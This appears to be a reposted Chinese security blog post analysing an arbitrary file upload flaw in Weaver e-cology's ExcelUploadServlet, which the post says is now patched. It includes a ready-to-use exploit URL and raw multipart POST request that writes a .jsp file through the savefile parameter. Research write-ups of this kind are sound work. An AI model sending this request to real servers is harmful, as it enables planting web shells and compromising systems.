这两天在看coremail,寻找传说中的RCE。发现没啥更新的了,于是把泛微拎出来在打一顿。
问题和我上一篇文章差不多,只是接口不同罢了。也是被之前的补丁给patch了。
老规矩,先给出定位文件
ecology/CLASSB~1/weaver/workflow/exceldesign/ExcelUploadServlet.class
朋友建议我尽量写的浅显易懂一点,我就解释下每行代码的意思吧,当然大佬可以一笔带过,授人以鱼不如授人以渔。
一般看Servlet我们都先看doGet方法,Servlet一般都需要重写doGet方法,因为父类的HttpServlet的doGet方法是空的,没有实现任何代码,子类需要重写此方法。可以看到这里doGet下面通过this调用doPost方法,然后
doPost方法对传入参数method进行判断,如果等于uploadFile就进入imageupload函数
在imageupload函数中可以看到,var15=var4+var3。var4是固定路径,var3我们又可控,在创建文件路径对象时又没有过滤savefile参数,导致任意文件创建。
所以上传后的路径就是:
filesystem/exceldesign/uploadimg/savefile参数
那么exp为:
http://192.168.217.143/weaver/weaver.workflow.exceldesign.ExcelUploadServlet?method=uploadFile&savefile=pass.jsp
POST /weaver/weaver.workflow.exceldesign.ExcelUploadServlet?method=uploadFile&savefile=pass.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Secure; JSESSIONID=abc6xLBV7S2jvgm3CB50w; Secure; testBanCookie=test
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=--------1638451160
Content-Length: 171
----------1638451160
Content-Disposition: form-data; name="filename"
Content-Type: image/jpeg
helloword
----------1638451160--
PS:该漏洞已修复,遇到即是有缘。
原文始发于微信公众号(攻队):泛微e-cology另一接口任意文件上传(已修复)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论